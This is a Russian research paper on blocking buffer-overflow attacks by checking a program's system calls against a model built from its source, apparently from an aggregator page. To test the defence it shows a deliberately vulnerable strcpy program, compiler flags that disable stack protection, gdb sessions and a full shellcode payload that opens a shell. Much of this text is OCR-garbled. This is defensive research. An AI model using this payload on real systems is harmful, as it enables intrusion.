Научная статья на тему 'Предотвращение атак на простейшие приложения с уязвимостями путем проверки совершаемых ими системных вызовов'

Предотвращение атак на простейшие приложения с уязвимостями путем проверки совершаемых ими системных вызовов Текст научной статьи по специальности «Компьютерные и информационные науки»

CC BY
234
29
i Надоели баннеры? Вы всегда можете отключить рекламу.
Ключевые слова
ПЕРЕПОЛНЕНИЕ БУФЕРА / СИСТЕМНЫЕ ВЫЗОВЫ / ИНЪЕКЦИИ КОДА / НЕИСПОЛНЯЕМЫЙ СТЕК / STACKGUARD / ASRL / ИНФОРМАЦИОННАЯ БЕЗОПАСНОСТЬ / BUFFER OVERFLOW / SYSTEM CALLS / CODE INJECTION / DATA EXECUTION PREVENTION / ASLR / INFORMATION SECURITY

Аннотация научной статьи по компьютерным и информационным наукам, автор научной работы — Паринов М.А., Сироткина А.Г.

Проблема выявления и предотвращения атак на приложения была и остается одной из актуальных задач информационной безопасности. Изъяны в коде программ приводят к нарушению нормальной работы программного обеспечения. Из-за недочетов разработки могут возникать нарушения целостности, доступности и конфиденциальности данных, прерывание выполнения запущенных процессов или даже системы в целом. Целью данной работы является предотвращение атаки на приложение путем переполнения буфера с помощью разработанного комплекса по предотвращению атак. Для выполнения поставленной цели кратко рассматриваются недостатки современных систем по предотвращению атак на приложения, рассматривается структура разработанного программного комплекса, алгоритмы работы каждого из модуля программного комплекса, механизм совершения переполнения буфера, а также тестируется разработанный программный комплекс на простейшем переполнении буфера.

i Надоели баннеры? Вы всегда можете отключить рекламу.

Похожие темы научных работ по компьютерным и информационным наукам , автор научной работы — Паринов М.А., Сироткина А.Г.

iНе можете найти то, что вам нужно? Попробуйте сервис подбора литературы.
i Надоели баннеры? Вы всегда можете отключить рекламу.

PREVENTING ATTACKS ON THE EASIEST APPLICATIONS WITH VULNERABILITIES BY VERIFICATION OF THEIR COMMITTED SYSTEM CALLS

The issue of detecting and preventing attacks on applications has been and remains one of the urgent tasks of information security. Flaws in the program code lead to disruption of the normal operation of the software. Data integrity, availability and confidentiality of the data, interruption of the execution of running processes or even the system as a whole may occur due to design flaws. The aim of this work is to prevent attacks on the application by overflowing the buffer using the developed complex to prevent attacks. To achieve this goal, the shortcomings of modern systems for preventing attacks on applications are briefly reviewed, the structure of the developed software package, the operation algorithms of each module of the software package, the mechanism for buffer overflows are examined, and the developed software package is tested on a simple buffer overflow.

Текст научной работы на тему «Предотвращение атак на простейшие приложения с уязвимостями путем проверки совершаемых ими системных вызовов»

_ ПРОБЛЕМЫ ЯДЕРНОЙ, РАДИАЦИОННОЙ _

И ЭКОЛОГИЧЕСКОЙ БЕЗОПАСНОСТИ -

УДК 004.492.2

ПРЕДОТВРАЩЕНИЕ АТАК НА ПРОСТЕЙШИЕ ПРИЛОЖЕНИЯ С УЯЗВИМОСТЯМН ПУТЕМ ПРОВЕРКИ СОВЕРШАЕМЫХ ИМИ

СИСТЕМНЫХ ВЫЗОВОВ

© 2019 М.А. Паринов*, А.Г. Сироткина**

'Национальный исследовательский ядерный университет «МИФИ», Москва, Россия Саровский физико-технический институт - Национальный исследовательский ядерный университет

«МИФИ», Саров, Нижегородская обл., Россия

Проблема выявления и предотвращения атак на приложения была и остается одной из актуальных задач информационной безопасности. Изъяны в коде программ приводят к нарушению нормальной работы программного обеспечения. Из-за недочетов разработки могут возникать нарушения целостности, доступности и конфиденциальности данных, прерывание выполнения запущенных процессов или даже системы в целом. Целью данной работы является предотвращение атаки на приложение путем переполнения буфера с помощью разработанного комплекса по предотвращению атак. Для выполнения поставленной цели кратко рассматриваются недостатки современных систем по предотвращению атак на приложения, рассматривается структура разработанного программного комплекса, алгоритмы работы каждого из модуля программного комплекса, механизм совершения переполнения буфера, а также тестируется разработанный программный комплекс на простейшем переполнении буфера.

Ключевые слова: переполнение буфера, системные вызовы, инъекции кода, неисполняемый стек, StackGuard, ASRL, информационная безопасность.

Поступила в редакцию 26.05.2020 После доработки 07.07.2020 Принята к публикации 21.07.2020

Введение

Современные приложения во время выполнения часто подвергаются различным атакам. Целью таких атак может являться нарушение целостности, доступности или конфиденциальности обрабатываемой информации.

Проблема выявления и предотвращения атак на приложения была и остается одной из актуальных задач информационной безопасности. Корректная разработка приложения является одним из способов решения данной проблемы, так как небольшая ошибка разработчика в умелых руках злоумышленника может привести к непредсказуемым последствиям [1].

Ни один из широко используемых в ОС Linux механизмов защиты не может гарантировать предотвращение атак на приложения ввиду слабостей своей реализации. Например, способом обхода StackGuard является техника перетирания указателя текущего фрейма [2]. Для неисполняемого стека предложена технология возврата в библиотеку (ret2libc) основанная на вызове системных функций и ее модификации [3, 4, 5]. Для обхода ASLR используются техника схожая с ret2libc, но с возвратом в Procedure Linkage Table [6, 7, 8, 9]. Данные способы обходов представленных систем защиты далеко не единственные и существует еще множество способов обхода, в том числе способов обхода сразу нескольких систем предотвращения и обнаружения атак на приложения [10].

© Национальный исследовательский ядерный университет «МИФИ», 2020

Учитывая недостатки существующих систем, был предложен алгоритм предотвращения атак на уязвимые приложения путем проверки совершаемых ими системных вызовов. Целью данной работы является предотвращение атаки на приложение путем переполнения буфера с помощью разработанного комплекса по предотвращению атак. Для этого рассматриваются структура разработанного программного комплекса, алгоритмы работы каждого из модуля программного комплекса, механизм совершения переполнения буфера, а также тестируется разработанный программный комплекс на простейшем переполнении буфера. В качестве стенда для проведения тестирования используется ноутбук Lenovo с процессором Core I7-3250M 2900MHz памятью 4Gb DDR3-1600MHz и установленными ОС Ubuntu 14.04 и программным комплексом по предотвращению атак на приложения описанным далее. В качестве методов исследования можно выделить тестирование на проникновение, статический анализ исходных кодов защищаемого ПО и динамический анализ.

Программный комплекс

Программный комплекс разделен на две подсистемы. Первая - система анализа исходных кодов и построения эталонной модели поведения защищаемого приложения. Вторая - непосредственно система предотвращения атак на приложения путем сравнения с эталонной моделью поведения совершаемых приложением системных вызовов. Механизм взаимодействия этих систем представлен на рисунке 1.

Рисунок 1 - Модули программного комплекса по предотвращению атак [Attack prevention software modules]

Алгоритм работы программного комплекса можно разделить на две части согласно подложенным модулям. Первая - это алгоритм получения модели поведения защищаемого приложения, изображенный на рисунке 2. Вторая - это алгоритм работы модуля анализа поведения защищаемого приложения, изображенный на рисунке 3.

Начало Т

Исходные коды ПО

Рисунок 2 - Алгоритм построения модели поведения защищаемого приложения [Algorithm of constructing

a behavior model of the protected application]

Исполняемый файл

Эталонная модель

поведения защищаемого ПО

Запуск исполняемого файла в режиме отслеживания системных вызовов

Перехват совершаемых системных вызовов

1

Сравнение с эталонной моделью

Рисунок 3 - Алгоритм работы модуля анализа поведения защищаемого приложения [Algorithm of the module of analyzing the protected application behavior]

Таким образом, анализируя исходные коды защищаемого приложения, мы получаем граф потока управления, отражающий порядок выполнения системных вызовов. На основе данного графа строится модель поведения, которая будет

10

ПАРИНОВ и др.

содержать номера и порядок системных вызовов защищаемого приложения. Для работы с графом потока управления предлагается использовать недетерминированный конечный автомат без входного алфавита заданный табличным способом [12].

Переполнение буфера

Переполнение буфера - тип атак, приводящих к инъекциям, кода в уязвимых приложениях, основанные на отсутствии проверок на соответствие размера входных данных и размера выделенной под переменную области памяти.

Для понимания процесса на рисунке 4 изображены алгоритмы нормального выполнения функции и выполнения функции в момент атаки путем переполнения буфера.

Рост адресов

Начало

Вход в функцию

Запись в буфер данных, перетирающих адрес возврата

Остальные инструкции

функции ' +

Переход по адресу возврата

Конец

Выполнение

— вредоносного

кода

Нормальное выполнение функции

Выполнение функции при переполнении буфера

Рисунок 4 - Алгоритмы нормального выполнения функции и выполнения функции в момент атаки путем переполнения буфера [Algorithms of normal function execution and function execution at the moment of a

buffer overflow attack]

Простейшее переполнение буфера

Для выполнения простейшей атаки нам потребуется отключить ЛБЬЯ и 81аскЗша8ИРго1ес1ог, встроенный в компилятор (при выполнении атаки типа ге!2ИЬс отключение этих механизмов не требуется) [12]. Для начала нужно скомпилировать уязвимое приложение и запустить его в отладчике. Исходный код уязвимого приложения изображен на рисунке 5.

#include <stdlo.h> ^include -istring-hï-

int matn(int argc, char** argv) {

char buf[20O]; strcpyCbuf, argv[l]); return О; î

Рисунок 5 - Исходный код уязвимого приложения [Source code of the vulnerable application]

Далее, путем перебора длин входных данных, пытаемся вызвать переполнение буфера, которое приведет к аварийному завершению приложения (рис. 6) [13].

ГЛОБАЛЬНАЯ ЯДЕРНАЯ БЕЗОПАСНОСТЬ, № 3(36) 2020

root@oxg-VirtualBox:/home/oxg# gcc -ggdb -o test -fno-stack-protector -z execsta

ck -mpreferred-stack-boundary=2 testl.c

root@oxg-VirtualBox:/home/oxg# gdb test

GNU gdb (Ubuntu 7.7.1-6ubuntu5-14.64.2) 7.7.1

Copyright (C) 2614 Free Software Foundation. Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.htnil>

¡This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law. Type "show copying"

and "show warranty" for details.

This GDB was configured as "i686-linux-gnu".

Type "show configuration" for configuration details.

For bug reporting instructions, please see:

<http://www.gnu.org/software/gdb/bugs/>.

Find the GDB manual and other documentation resources online at:

<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".

Type 'apropos word" to search for commands related to "word"___

Reading symbols from test...done, (gdb) run $(python -c 'print "\x5e"*268')

Starting program: /home/oxg/test $(python -c 'print "\x59"*288')

Program received signal SIGSEGV, Segmentation fault. 6x56565056 in 77 ()

(gdb) I _

Рисунок 6 - Вызов переполнения [Overflow call]

Данный способ позволяет переписать регистр eip, в котором хранится указатель на адрес следующей инструкции. На рисунке 7 изображено состояние регистров на момент остановки.

0x50595650 in ?7 f]

(gdb) info registers

eax QxO 0

ecx &xbffff7ee -1673743964

edx 0xbffff5B2 -1073744633

Ébx 0Xb7fCl0O6 -12Q021760O

esp exbffffsie sxbffffsie

ebp 0x50505056 0x50565050

esi ÛX8 6

edi 0x6 6

eip 0X50565056 0X50565050

eflags 0x10262 [ IF RF J

« 0x73 115

S5 0x7b 123

d& 0x7b 123

iНе можете найти то, что вам нужно? Попробуйте сервис подбора литературы.

es 0x7b 123

f& 0X6 0

gs 0X33 51

(gdb) Jf/10x Sesp -40

6xbffff4e8: 0x50505050 0x50565050 0x50565056 0x50505056 6xbfff f4f@: 3x50565650 0x50565056 1-1x56585056 6x56565&56 Oxbffff503: 0x50505050 0x50565050 (gdb) x/iex Sesp -32

flxbffff4fe: 0x50565050 0x50505050 0x50505050 0x50505050

Рисунок 7 - Состояние регистров в момент переполнения [Registers state at the time of overflow]

Как можно увидеть, регистр ESP указывает на наш потенциально вредоносный буфер. То есть, заменив часть вводимых данных шеллкодом и перезаписав EIP адресом ESP, мы получим исполненные вредоносные инструкции.

Что бы получить адрес ESP, поставим точку остановки в коде на моменте записи буфера (функция strcpy). На рисунке 8 видно, что текущий адрес, хранящийся в ESP,

равен 0xbffff508 - он указывает на начало нашего буфера. То есть после выполнения операции копирования в буфер адрес ESP будет равен 0xbffff308.

Starting program; /home/oxg/test ahgkjadsadsfs

Breakpoint 1, main (argc=2, argv=0xbffff674) at testl.c:6

6 strcpyfstr, argvflj};

(gdb) info registr esp

undefined info command: "registr esp". Try "help info*,

(gdb) info registers esp

esp 0xbffff588 exbffffsaB

[gdb) list

1 ^include <stdio.h>

2 ^include <string,h>

3 int maintint argc, char** argv}

4 {

5 char strUeei:

6 strcpytstr, argv[1]):

7 return

e >

j(gdb) break &

Mote: breakpoint 1 also set at pc Gx&048426. Breakpoint 2 at 0x8048426: file testL.c, line 6. :(gdb) info registers esp

esp oxbtfffsee flxbffff503

fgdbi _

Рисунок 8 - Адрес, хранящийся в ESP [The address stored in the ESP]

Окончательная структура входных данных показана на рисунке 9. Они собираются по такому принципу: мусорные данные + целевой шелл код + записанный несколько раз нужный нам адрес возврата. В показанном на рисунке \x90 * 23 является мусорными данными далее следует шеллкод и в конце \x08\xf3\xff\xbf * 40 является записью требуемого адреса возврата 40 раз [14].

Breakpoint 1, main (argc=2, argv=0xbffff674) at testl.c:6 6 strcpy(str, argvflj);

(gdb) info registr esp

Undefined info command: "registr esp". Try "help info", (gdb) info registers esp

esp 6xbffff568 ôxbffff588

(gdb) list

1 #include <stdio.h>

2 #iriclude «string.h>

3 int main(int argc, char»» argv)

4 {

5 char str[200j;

6 strcpy(str, argvf1]);

7 return 0;

8 } (gdb) break 6

Note: breakpoint 1 also set at pc 0x8048426. Breakpoint 2 at 0x8048426: file testl.c, line 6. (gdb) info registers esp

esp 0xbffff508 0xbffff508

(gdb) $(python -c 'print "\x90"»23+ "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x6 I\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0

b\x89\xf3\x89\xel\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x08\xf3\xff\xbf" >

Рисунок 9 - Структура вредоносного кода [The structure of the malicious code]

Результатом передачи в буфер таких данных является выполнение нужной нам программы (/bin/bash). Это показано на рисунке 10.

(gdb) run $(python -c 'print "Nxse1^?!* "\x31\xc9\x83\xec\x91\x88\x94\x24\x68\x 62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x5O\x56\x b9\x8b\x89\xf3\x89\xel\x31\xd2\xcd\x89\xb0\x91\x31\xdb\xcd\x86" ♦ "\xdc\xfl\xff\ xbf"*35')

The program being debugged has been started already. Start it from the beginning? (y or n) y

Starting program: /hon»e/oxg/test $(python -c 'print "\x99"*371+ "\x31\xc6\x83\xe C\x91\x88\x84\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x94\x2 4\x2f\x89\xe6\x59\x56\xb9\x9b\x89\xf3\x89\xel\x31\xd2\xcd\x89\xb9\x91\x31\xdb\xc d\x89" + "\xdc\xfl\xff\xbf""35')

Breakpoint 1, main (argc=2, argv=9xbffff454) at testl.c:6 6 strcpy(str, argv[lj);

(gdb) c Continuing.

process 4758 is executing new program: /bin/bash root@oxg-VirtualBox:/home/oxg# Program received signal SIGINT, Interrupt. 9xb7fdd4l6 in 77 ()

(gdb) run $(python -c 'print "\x99"*371+ "\x31\xc9\x83\xec\x91\x88\x94\x24\x68\x 62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x91\xc6\x94\x24\x2f\x89\xe6\x59\x56\x b9\x9b\x89\xf3\x89\xel\x31\xd2\xcd\x88\xb0\x91\x31\xdb\xcd\x89" + "\xdc\xfl\xff\ xbf"*35')

Рисунок 10 - Результат выполнения вредоносного кода [The result of executing malicious code]

Проверка алгоритма по предотвращению атак на приложения

Для проведения первого теста используется простейшее переполнение буфера. Как можно увидеть на рисунке 11, работа не атакованного приложения приводит к вызову определенной последовательности вызовов. Стоит заметить, что на рисунке 11 утилита ptrace это модуль программного комплекса по предотвращению атак на приложения основанная на системной библиотеке ptrace, которая отслеживает системные вызовы защищаемого приложения и сравнивает их с эталонной моделью, полученной путем анализа исходных кодов защищаемого приложения и системных библиотек.

raot@oxg -VirtualBox:/hame/oxg# ./ptrace /home/oxg/test abdaaqsgteb

SYS 45

SYS 33

SY5 192

SYS 33

5Y5 5

SYS 197

SYS 1S2

SYS 6

SYS 33

5Y5 5

SYS 3

SYS IS7

SYS 192

SYS 1Э2

5YS 192

SYS 6

SYS 192

SYS 243

SYS 125

SYS 125

SYS 125

SYS 91

SYS 252 1

root@oxg - VirtualBox:/home/oxg#

Рисунок 11 - Нормальное функционирование защищаемого приложения [Normal functioning of the

protected application]

Далее это же приложение было запущенно в разработанном модуле с отключенным механизмом защиты. Это сделано для наглядного отображения

происходящих изменений в количестве и порядке системных вызовов (рис. 12). И далее был произведен запуск разработанного модуля с системой защиты. После перехвата вызова, внедренного злоумышленником, появляется надпись о совершении атаки и работа уязвимого приложения прекращается. Результат выполнения показан на рисунке 13.

5YS 252

гоошвохд-virtualBox:/home/oxg# ./ptrace /home/o*g/test Sfpyttion -c "pririt "\хэе " *371+■■ \хзi\xcevxaз\xec\xei\кse\xxx6ö\xS24xöз\хб8\хбв\xхеэ\хбе\x2f \xe3\xec\xei.\xce\x04\x24\x2f\xBe\xee\x50\x56\xb0\xeb\xS9\xf3\xB9\xel\x31\xd2\xc dNxeeNxbaNxaiAxBlXxdbXxedVxeQ" + "\xce\xfl\xff\xbf"-40 ') SYS

SYS 33 SYS 1Э2 SYS 33 SYS 5 SYS 197 SYS 192 SYS 6 SYS 33 SYS S SYS 3 SYS 19? 5YS 192 SYS 192 SYS 192 SYS ö SYS 192 SYS 243 SYS 125 SYS 125 SYS 125 SYS 91 SYS 11 SYS 45 SYS 33 SYS 192 SYS 33 SYS 5

Рисунок 12 - Функционирование атакованного приложения [Functioning of the attacked application]

ot<aoxg-vxrtualBox:/home/oxg*» ./ptrace /home/oxg/test S(python -c 'print 371+"\x31\xco\x83\xec\xoi\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\ 83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xel\x31\xd2 x80\xbO\xOl\x31\xdb\xcd\x8O" + "\xcc\xfl\xff\xbf"*40 ') 5

atBox:/home/oxg#

Рисунок 13 - Пример работы механизма защиты [Functioning of the attacked application]

Заключение

Целью данной работы является предотвращение атаки на приложение путем переполнения буфера с помощью разработанного комплекса по предотвращению атак путем проверки совершаемых защищаемым приложением системных вызовов.

Во введении катко описаны существующие средства предотвращения атак на приложения в ОС Linux, а также возможности их обхода, которые показывают

iНе можете найти то, что вам нужно? Попробуйте сервис подбора литературы.

необходимость разработки дополнительных средств защиты, установлены цели и задачи.

Далее был описан программный комплекс по предотвращению атак на приложения путем проверки совершаемых ими системных вызовов. Он состоит из двух подсистем. Первая - система анализа исходных кодов и построения эталонной модели поведения защищаемого приложения. Вторая - непосредственно система предотвращения атак на приложения путем сравнения с эталонной моделью поведения совершаемых приложением системных вызовов.

Так же описан механизм простейшего переполнения буфера и продемонстрирован на специально подготовленном уязвимом приложении.

Итогом данной работы стало тестирование разработанного программного комплекса по предотвращению атак. Для начала исходные коды защищаемого уязвимого приложения проанализированы с помощью системы анализа исходных кодов и построена эталонная модель поведения, основанная на номерах и порядке системных вызовов. Далее для демонстрации данное приложение было запушено в нормальном режиме и были собраны номера вызовов во время правильного исполнения. Далее на него произведена атака путем простейшего переполнения буфера без защиты для наблюдения поведения атакованного приложения. И конечным этапом стало использование системы предотвращения атак на приложения путем сравнения с эталонной моделью поведения совершаемых приложением системных вызовов во время проведения данной атаки, результатом которого стало предотвращение выполнения атакованного приложения.

На основе полученных результатов можно сделать вывод, что система анализа поведения защищаемого приложения, основанного на номерах и порядке совершаемых вызовов, позволяет предотвращать атаки путем переполнения буфера, приводящим к инъекциям вредоносного кода. Таким образом, использование программного комплекса по обнаружению атак решает проблему атак переполнения буфера приводящих к инъекциям кода в системах, использующих потенциально уязвимые приложения.

СПИСОК ЛИТЕРАТУРЫ

1. Wonsun Ahn, Yuelu Duan and Josep Torrellas «DeAliaser: Alias Speculation using Atomic Region Support» : публикации проекта LLVM. - 2013. - P. 167-168. - URL : <http://dl.acm.org/citation.cfm?id=2451136> (дата обращения: 07.10.2018).

2. Gerardo Richarte «Four different tricks to bypass StackShield and StackGuard protection». - URL : https://www.cs.purdue.edu/homes/xyzhang/spring07/Papers/defeat-stackguard.pdf (дата обращения: 06.08.2018).

3. Erik Buchanan, Ryan Roemer, Stefan Savage, Hovav Shacham «Return-oriented Programming: Exploitation without Code Injection». - URL : https://www.blackhat.com/presentations/bh-usa-08/Shacham/BH_US_08_Shacham_Return_Oriented_Programming.pdf (дата обращения: 22.10.2018).

4. Erik Buchanan, Ryan Roemer, Hovav Shacham, Stefan Savage «When Good Instructions Go Bad: Generalizing Return-Oriented Programming to RISC». - URL : http://cseweb.ucsd.edu/~savage/papers/CCS08GoodInstructions.pdf (дата обращения: 22.10.2018).

5. Hovav Shacham «The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)». - URL : https://hovav.net/ucsd/dist/geometry.pdf (дата обращения: 21.10.2018).

6. Tyler Durden «Bypassing PaX ASLR protection». - URL : http://phrack.org/issues/59/9.html (дата обращения: 09.11.2018).

7. Hector Marco, Ismael Ripoll «AMD Bulldozer Linux ASLR weakness: Reducing entropy by 87.5%». - URL : http://hmarco.org/bugs/AMD-Bulldozer-linux-ASLR-weakness-reducing-mmaped-files-by-eight.html (дата обращения: 09.11.2018).

8. Tilo Muller «ASLR Smack & Laugh Reference». - URL : https://ece.uwaterloo.ca /~vganesh/TEACHING/S2014/ECE458/aslr.pdf (дата обращения: 10.11.2018).

9. Ralf Hund, Carsten Willems, Thorsten Holz «Practical Timing Side Channel Attacks Against Kernel Space ASLR». - URL : https://www.ieee-security.org/TC/SP2013/papers/4977a191.pdf (дата обращения: 10.11.2018).

10. Паринов, M. А. Анализ существующих средств защиты от переполнения буфера на стеке и способы их обхода / М. А. Паринов // Глобальная ядерная безопасность. - 2019. - № 2(31). -С. 15-22.

11. Фомичев В. М. Методы дискретной математики в криптологии / В. М. Фомичев. - Москва : ДИАЛОГ-МИФИ, 2010. - 424 с.

12. Wenliang Du. «Computer Security: A Hands-on Approach». - URL : http://www.cis.syr.edu/~wedu/seed/Book/book_sample_buffer.pdf (дата обращения: 14.11.2019).

13. Crispin Cowan, Perry Wagle, Calton Pu, Steve Beattie, and Jonathan Walpole «Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade». - URL : https://www.researchgate.net/publication/232657947_Buffer_Overflows_Attacks_and_Defenses_for _the_Vulnerability_of_the_Decade (дата обращения: 10.02.2020).

14. James C. Foster Vitaly Osipov Nish Bhalla Niels Heinen «Buffer Overflow Attacks DETECT, EXPLOIT, PREVENT». - URL : http://index-of.es/Varios/Securite/BoF_Attacks.pdf (дата обращения: 10.02.2020).

REFERENCES

Wonsun Ahn, Yuelu Duan, Josep Torrellas. DeAliaser: Alias Speculation using Atomic Region Support: LLVM. 2013. P. 167-180. URL: http://dl.acm.org/citation.cfm?id=2451136 (reference date: 07.10.2018).

Gerardo Richarte. Four Different Tricks to Bypass StackShield and StackGuard Protection. URL: https://www.cs.purdue.edu/homes/xyzhang/spring07/Papers/defeat-stackguard.pdf (application date: 06.08.2018).

Erik Buchanan, Ryan Roemer, Stefan Savage, Hovav Shacham. Return-oriented Programming: Exploitation without Code Injection. URL: https://www.blackhat.com/presentations/bh-usa-08/Shacham/BH_US_08_Shacham_Return_0riented_Programming.pdf (reference date: 22.10.2018).

Erik Buchanan, Ryan Roemer, Hovav Shacham, Stefan Savage. When Good Instructions Go Bad: Generalizing Return-Oriented Programming to RISC. URL: http://cseweb.ucsd.edu/~savage/ papers/CCS08 Goodlnstructions .pdf (reference date: 22.10.2018).

Hovav Shacham. The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86). URL: https://hovav.net/ucsd/dist/geometry.pdf (application date: 09.11.2018). Tyler Durden. Bypassing PaX ASLR Protection. URL: http://phrack.org/issues/59/9.html (reference date: 09.11.2018).

Hector Marco, Ismael Ripoll. AMD Bulldozer Linux ASLR Weakness: Reducing entropy by 87.5%. URL: http://hmarco.org/bugs/AMD-Bulldozer-linux-ASLR-weakness-reducing-mmaped-files-by-eight.html (reference date: 09.11.2018).

Tilo Muller. ASLR Smack & Laugh Reference. URL: https://ece.uwaterloo.ca/~ vganesh/TEACHING/S2014/ECE458/aslr.pdf (application date: 10.11.2018). Ralf Hund, Carsten Willems, Thorsten Holz. Practical Timing Side Channel Attacks Against Kernel Space ASLR. URL: https://www.ieee-security.org/TC/SP2013/papers/4977a191.pdf (reference date: 10.11.2018).

[10] Parinov M.A. Analiz sushhestvujushhih sredstv zashhity ot perepolnenija bufera na steke i sposoby ih obhoda [Analysis of Existing Protection Systems from Buffer Overflow and Methods of their Bypass]. Global nuclear safety [Global Nuclear Safety]. 2019. 2(31). P. 15-22 (in Russian).

[11] Fomichev V.M. Metody diskretnoj matematiki v kriptologii [Discrete Mathematics Methods in Cryptology]. Moskva: DIALOG-MIFI [Moscow: DIALOG- MEPHI]. 2010. 424 p. (in Russian).

[12] Wenliang Du. Computer Security: A Hands-on Approach. URL: http://www.cis.syr.edu/~wedu/seed/Book/book_sample_buffer.pdf (reference date: 14.11.2019).

[13] Crispin Cowan, Perry Wagle, Calton Pu, Steve Beattie, and Jonathan Walpole. Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade. URL: https://www.researchgate.net/publication/232657947_Buffer_Overflows_Attacks_and_Defenses_for _the_Vulnerability_of_the_Decade (reference date: 10.02.2020).

[14] James C. Foster Vitaly Osipov Nish Bhalla Niels Heinen. Buffer Overflow Attacks DETECT, EXPLOIT, PREVENT. URL: http://index-of.es/Varios/Securite/BoF_Attacks.pdf (reference date: 10.02.2020).

[1] [2]

[3]

[4]

[5]

[6]

[7]

[8] [9]

Preventing Attacks on the Easiest Applications with Vulnerabilities by Verification of

Their Committed System Calls

M.A. Parinov*1, A.G. Sirotkina**2

*Institute of Nuclear Physics and Technology (INP&T), National Research Nuclear University «MEPhI»,

Kashirskoye shosse, 31, Moscow, Russia 115409 SARFTI - National Research Nuclear University «MEPhI», Duhova str., 6 building 1, Sarov, Russia 607186

'ORCID iD: 0000-0002-6947-8753 WoS Researcher ID: G-9341-2019

e-mail: mafimka@gmail.com 2ORCID iD: 0000-0003-4559-7763 e-mail: sag@sarfti.ru

Abstract - The issue of detecting and preventing attacks on applications has been and remains one of the urgent tasks of information security. Flaws in the program code lead to disruption of the normal operation of the software. Data integrity, availability and confidentiality of the data, interruption of the execution of running processes or even the system as a whole may occur due to design flaws. The aim of this work is to prevent attacks on the application by overflowing the buffer using the developed complex to prevent attacks. To achieve this goal, the shortcomings of modern systems for preventing attacks on applications are briefly reviewed, the structure of the developed software package, the operation algorithms of each module of the software package, the mechanism for buffer overflows are examined, and the developed software package is tested on a simple buffer overflow.

Keywords: buffer overflow, system calls, code injection, data execution prevention, ASLR, StackGuard, information security.

i Надоели баннеры? Вы всегда можете отключить рекламу.